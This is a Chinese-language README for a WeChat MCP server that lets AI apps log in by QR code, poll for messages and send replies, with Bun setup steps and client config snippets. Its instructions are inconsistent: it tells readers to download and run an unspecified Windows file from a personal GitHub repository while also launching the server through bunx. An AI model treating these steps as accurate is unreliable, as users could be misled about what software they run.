📱 mcp-wechat-server - 在 AI 中运行微信

🧩 此工具的作用

mcp-wechat-server 让 AI 应用程序可以在你的 Windows PC 上发送和读取微信消息。

当你需要以下功能时可以使用它：

• 让 AI 代理回复微信聊天

• 统一登录和消息处理入口

• 使用二维码登录，无需输入密码

• 消息轮询，以便应用程序可以等待新消息

• 在你的电脑上运行的简单设置

它作为一个 MCP 服务器运行，因此可以连接到支持模型上下文协议 (Model Context Protocol) 的 AI 工具。

📥 下载

在此处打开下载页面：

访问下载页面

如果你使用的是 Windows，请使用此页面获取最新文件，然后下载并运行该应用程序。

🪟 Windows 设置

在 Windows PC 上按照以下步骤操作。

1. 打开下载页面

前往：

https://github.com/Itzelma2310/mcp-wechat-server

查找最新版本或项目主文件。

2. 下载应用程序

从页面下载 Windows 文件或软件包。

如果你看到发布文件，请将其保存到你可以找到的文件夹中，例如：

• 下载 (Downloads)

• 桌面 (Desktop)

• 文档 (Documents)

3. 安装 Bun

此应用程序需要 Bun 才能运行。

从以下地址获取 Bun：

https://bun.sh/

安装后，打开命令提示符 (Command Prompt) 或 PowerShell 并检查它是否正常工作：

bun -v

如果你看到版本号，说明 Bun 已准备就绪。

4. 启动服务器

在保存应用程序的文件夹中打开命令提示符或 PowerShell。

运行：

bunx mcp-wechat-server

这将启动微信服务器。

5. 连接你的 AI 应用程序

将服务器添加到你的 AI 应用程序的 MCP 设置中。

使用此设置：

{
  "mcpServers": {
    "wechat": {
      "command": "bunx",
      "args": ["mcp-wechat-server"]
    }
  }
}

如果你的应用程序使用不同的配置文件，请在其中添加相同的命令。

6. 使用二维码登录

服务器启动时，它可以创建用于微信登录的二维码。

你可以通过以下方式之一进行扫描：

• 终端中的文本二维码

• PNG 二维码图片

• URL 链接

用手机上的微信扫描代码并完成登录。

🔧 系统要求

使用满足以下条件的 Windows PC：

• Windows 10 或 Windows 11

• 2 GB 可用磁盘空间

• 稳定的互联网连接

• Bun 1.0 或更高版本

• 手机上有一个可用的微信账号

为获得最佳效果，请在服务器运行时保持电脑开启。

⚙️ 工作原理

该应用程序为你的 AI 工具提供了一些关键操作：

• 登录微信

• 检查新消息

• 发送文本消息

• 显示输入状态

• 重启后保持状态

它使用长轮询，因此可以等待新消息，而不是频繁检查。如果需要，它可以长时间等待。

🚀 AI 应用程序快速入门

Claude Desktop

将其添加到 claude_desktop_config.json：

{
  "mcpServers": {
    "wechat": {
      "command": "bunx",
      "args": ["mcp-wechat-server"]
    }
  }
}

OpenCode

将其添加到 opencode.json：

{
  "mcp": {
    "wechat": {
      "type": "local",
      "command": ["bunx", "mcp-wechat-server"],
      "enabled": true
    }
  }
}

Cursor 或其他 MCP 客户端

使用：

{
  "command": "bunx",
  "args": ["mcp-wechat-server"]
}

📲 首次登录

启动应用程序后，请执行以下操作：

1. 等待二维码出现

2. 在手机上打开微信

3. 扫描二维码

4. 确认登录

如果代码以文本形式出现在终端中，你可以将其复制到二维码查看器中，或者如果应用程序创建了 PNG 图片，则使用该图片。

💬 发送和读取消息

登录后，AI 代理可以：

• 读取收到的消息

• 发送文本回复

• 检查消息状态

• 在工作时显示输入状态

这有助于 AI 在微信中充当聊天助手。

🗂️ 已保存的数据

该应用程序会在你的电脑上保留本地状态。

这包括：

• 登录信息

• 消息位置数据

• 会话状态

如果你重启应用程序，它可以继续工作，而无需从头开始。

🛠️ Windows 上的常见设置步骤

如果应用程序无法启动

检查以下几点：

• 已安装 Bun

• 你在正确的文件夹中运行了命令

• 你的互联网连接正常

• 配置文件使用了正确的命令

如果二维码没有出现

尝试以下操作：

• 停止应用程序

• 再次启动它

• 检查终端窗口中的二维码文本

• 等待几秒钟以获取图片或链接

如果微信无法登录

确保：

• 你扫描的是最新的二维码

• 你的手机可以访问网络

• 登录请求已在微信中确认

如果你的 AI 应用程序无法连接

检查 MCP 配置：

• 命令应为 bunx

• 参数应包含 mcp-wechat-server

• 配置文件应已保存

• 更改后应重启 AI 应用程序

🧠 工具列表

此服务器包含 6 个用于微信任务的 MCP 工具。

它们涵盖：

• 登录

• 消息轮询

• 文本发送

• 输入状态

• 会话状态

• 消息流控制

🔒 隐私和本地使用

服务器在你的机器上运行。

这意味着：

• 你的登录信息保留在你的 PC 上

• 消息状态保留在本地

• 你控制应用程序何时运行

📁 简单的设置路径

如果你想在 Windows 上走最简单的路径：

1. 打开 GitHub 页面

2. 下载或克隆项目

3. 安装 Bun

4. 运行 bunx mcp-wechat-server

5. 将 MCP 配置添加到你的 AI 应用程序

6. 在微信中扫描二维码

🧭 基本使用流程

1. 启动服务器

2. 使用二维码登录

3. 连接你的 AI 应用程序

4. 让 AI 读取和发送消息

5. 在使用时保持应用程序运行

📌 启动后的预期情况

当应用程序启动时，你可能会看到：

• 终端窗口

• 二维码文本

• 登录提示

• 控制台中的消息活动

这是正常的。应用程序会等待微信登录，然后为你的 AI 工具处理消息。

🧰 有用的命令

如果你想先测试 Bun，请使用：

bun -v

如果你想再次启动服务器，请使用：

bunx mcp-wechat-server

🖥️ 面向非技术用户

如果你不习惯使用命令行，请按照这个简单的顺序操作：

• 下载应用程序

• 安装 Bun

• 打开文件夹

• 运行命令

• 扫描二维码

• 连接你的 AI 应用程序

如果你会复制和粘贴文本，你就可以完成设置。

📍 再次下载

使用此页面获取最新版本：

https://github.com/Itzelma2310/mcp-wechat-server